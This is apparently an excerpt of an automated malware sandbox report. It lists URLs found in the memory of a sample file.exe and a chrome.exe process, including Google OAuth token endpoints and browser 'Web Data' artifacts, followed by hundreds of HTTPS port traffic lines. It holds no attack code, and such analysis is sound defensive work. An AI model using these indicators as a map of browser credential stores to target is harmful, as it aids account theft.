Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000004.00000003.2330799124.000066C400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C400303000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441773835.000066C400A3F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000004.00000002.2440612132.000066C400874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439752266.000066C400674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000004.00000002.2441922881.000066C400A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000004.00000002.2507357488.000066C4011E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2447634512.000066C400FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441210477.000066C4009C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2447634512.000066C400FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441210477.000066C4009C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: file.exe, 00000000.00000003.2575259570.000000002335E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2442487001.000066C400BCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000004.00000002.2437243565.000066C400464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377329476.000066C401BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378082890.000066C401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506341058.000066C401040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378268822.000066C401CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitf
Source: chrome.exe, 00000004.00000002.2441947187.000066C400A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000004.00000002.2435802152.000066C40001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_458.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_458.6.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000004.00000003.2377915623.000066C401C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000004.00000003.2377409854.000066C401CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378082890.000066C401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378268822.000066C401CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2514860812.000066C401C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377915623.000066C401C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: file.exe, 00000000.00000002.2732215385.0000000001056000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2702958023.0000000023609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2732215385.0000000001056000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2702958023.0000000023609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2702958023.0000000023609000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732215385.0000000001056000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436786958.000066C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
